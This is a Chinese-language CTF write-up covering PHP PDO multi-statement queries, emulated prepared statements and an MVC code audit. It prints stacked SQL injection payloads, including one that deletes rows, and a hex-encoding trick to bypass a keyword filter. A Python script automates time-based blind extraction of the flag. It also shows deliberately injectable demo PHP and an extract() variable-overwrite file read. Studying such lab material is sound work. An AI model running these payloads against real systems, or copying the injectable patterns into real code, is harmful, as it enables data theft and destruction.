知识点
- PHP PDO模式下的SQL语句
- SQL语句预处理
- PDO多语句执行
- MVC代码审计
PDO多语句执行
讲解一下 PDO 模式下的mysql连接方式<?php
$dbms='mysql'; //数据库类型
$host='localhost'; //数据库主机名
$dbName='messageboard'; //使用的数据库
$user='root'; //数据库连接用户名
$pass='123456'; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";
try{
$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => True));
echo "messageboard";
echo "<br>";
}
catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
$sql = 'select * from user where id=2;';
$sql .= 'delete from user where id=4;';
$result = $db -> query($sql);
while($row=$result->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
?>
PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => True
这两个参数分别是建立持久连接,一个是开启多语句执行
当前数据库的内容这里我们的sql语句进行了拼接,执行了两条sql语句$dbms='mysql'; //数据库类型
$host='localhost'; //数据库主机名
$dbName='messageboard'; //使用的数据库
$user='root'; //数据库连接用户名
$pass='123456'; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";
try{
$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => True));
echo "messageboard";
echo "<br>";
}
catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
查看一下效果$sql = 'select * from user where id=2;';
$sql .= 'delete from user where id=4;';
$result = $db -> query($sql);
while($row=$result->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
再看一下数据库的内容,会发现执行了两条sql语句,id=4的数据已经被删除了messageboard
array(4) { ["id"]=> string(1) "2" ["email"]=> string(13) "123456@qq.com" ["password"]=> string(32) "e10adc3949ba59abbe56e057f20f883e" ["headimg"]=> string(59) "D:\phpstudy_pro\WWW\Messageboard\images\default_headimg.png" }
预处理
- PDO::prepare($SQL)
PDO::prepare — 准备要执行的SQL语句并返回一个 PDOStatement 对象
2. PDO::bindValue($param, $value)
PDOStatement::bindParam — 把一个值绑定到一个参数
3. PDO::exec — 执行一条 SQL 语句,并返回受影响的行数
下面写一个完整的流程
这里有一个坑点就是bindParam(1,$id,PDO::PARAM_INT);绑定参数的时候第二个一定要是一个变量<?php
$dbms='mysql'; //数据库类型
$host='localhost'; //数据库主机名
$dbName='messageboard'; //使用的数据库
$user='root'; //数据库连接用户名
$pass='123456'; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";
try{
$pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => true));
echo "messageboard";
echo "<br>";
}
catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
$sql = "select * from user where id= ?;";
$id = 2;
$psql = $pdo -> prepare($sql);
$psql -> bindParam(1,$id,PDO::PARAM_INT);
$psql->execute();
while($row=$psql->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
?>
原因是bindParam和bindValue是不同的, bindParam要求第二个参数是一个引用变量(reference)
此外预处理还存在两种模式模拟预处理和非模拟预处理
```php 模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。
非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。
<a name="Az900"></a>
## 模拟预处理的安全问题
下面模拟一下预处理模式下的PDO
```php
<?php
$dbms='mysql'; //数据库类型
$host='localhost'; //数据库主机名
$dbName='messageboard'; //使用的数据库
$user='root'; //数据库连接用户名
$pass='123456'; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";
try{
$pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => true));
echo "messageboard";
echo "<br>";
}
catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
$sql = "select email,".$_GET['filed']." from user where id= ?;";
$id = $_GET['id'];
$psql = $pdo -> prepare($sql);
$psql -> bindParam(1,$id);
var_dump($psql);
echo "<br>";
$psql->execute();
while($row=$psql->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
?>
这个时候我们传入参数[http://127.0.0.1/buu/sqlsql/pdo.php/?id=2&filed=password](http://127.0.0.1/buu/sqlsql/pdo.php/?id=2&filed=password)
执行的结果
messageboard
object(PDOStatement)#2 (1) { ["queryString"]=> string(44) "select email,password from user where id= ?;" }
array(2) { ["email"]=> string(13) "123456@qq.co
同时我们可以控制filed参数来进行SQL注入?id=2&filed=id from user;select password,headimg
结果输出为
messageboard
object(PDOStatement)#2 (1) { ["queryString"]=> string(72) "select email,id from user;select password,headimg from user where id= ?;" }
array(2) { ["email"]=> string(13) "123456@qq.com" ["id"]=> string(1) "2" }
array(2) { ["email"]=> string(14) "123456@163.com" ["id"]=> string(1) "6" }
或者注入[http://127.0.0.1/buu/sqlsql/pdo.php/?id=6&filed=id%20from%20user;delete](http://127.0.0.1/buu/sqlsql/pdo.php/?id=6&filed=id%20from%20user;delete)
可以发现数据库id=6的内容被删除了
解题
- 首先观察了一下注入点正常输入错误的账号和密码的返回值
- 如果username后面加一个引号则会产生报错
- 如果在username后面添加一个’;则页面返回{“code”:”202”,”info”:”error username or password.”},通过这里的判断可以确定这里应该是存在一个堆叠注入的
- 我们可以利用这个fuzz一下,发现过滤了handler,select,union等字符
- 所以这里需要采用16进制绕过 原理如下 ```plsql mysql> select hex(‘abasd’); +———————+ | hex(‘abasd’) | +———————+ | 6162617364 | +———————+ 1 row in set (0.00 sec)
mysql> select 0x6162617364; +———————+ | 0x6162617364 | +———————+ | abasd | +———————+ 1 row in set (0.00 sec)
6. 接着我们就可以利用PDO的多语句执行来构造payload
构造的payload如下
```plsql
xbx0d';set @a=0x{0};prepare b from @a;execute b--+
其中{0}用下面的语句填充
select if(ascii(substr((select flag from flag),1,1))>1,sleep(2),1)
写exp 两个点一个是url为login 一个是data用用json编码
import requests
import time
import json
url = "http://25f270af-a961-4d4a-b0e9-38137c34f8ef.node4.buuoj.cn:81/index.php?r=Login/login"
payloads="xbx0d';set @a=0x{0};prepare test from @a;execute test;"
flag = ''
def strtohex(string):
p = ''
for c in string:
p = p + hex(ord(c))[2:]
return p
for i in range(1,100):
print(i)
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},Sleep(3),1)"
for j in range(0,128):
data = {
'username' : payloads.format(strtohex(payload.format(i,j))),
'password' : '123'
}
data = json.dumps(data)
start = time.time()
r = requests.post(url=url,data=data)
end = time.time()
if end - start >= 3:
flag = flag + chr(j)
print(flag)
break
结果是:glzjin_wants_a_girl_friend.zip 是题目的源代码
接着就是审计MVC框架了 看wp看wp,焦了焦了
首先是获取r参数之后讲r的值以/分割改为数组形式,分别赋给$controller,$action,然后接着调用该控制器下的某个函数
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";
if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}
接着我们看Basecontorller.php 存在一个变量覆盖
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
接着在Usercontroller.php发现actionIndex()函数的所有参数我们都是可以控制
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
最后在UserIndex.php发现一个文件读取
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
构造一下我们的payload
首先通过fun.php 调用 usercontroller的actionindex函数
接着会调用到BaseController.php
$this->viewPath = BASE_PATH . "/View/userindx.php";
extract($viewData);产生变量覆盖
覆盖$img_file = '/../favicon.ico';
总结
这道题SQL注入以前接触过,但是没有太想起来,还需要多练习
至于MVC代码审计,我只想说,告诉我漏洞,我都联系起来都要半天,更别说在代码中满满找了
其实思路应该很明确的
最后要读取flag,所以肯定有文件读取的漏洞,就应该找到UserIndex.php
之后再看哪个页面调用到Userindex.php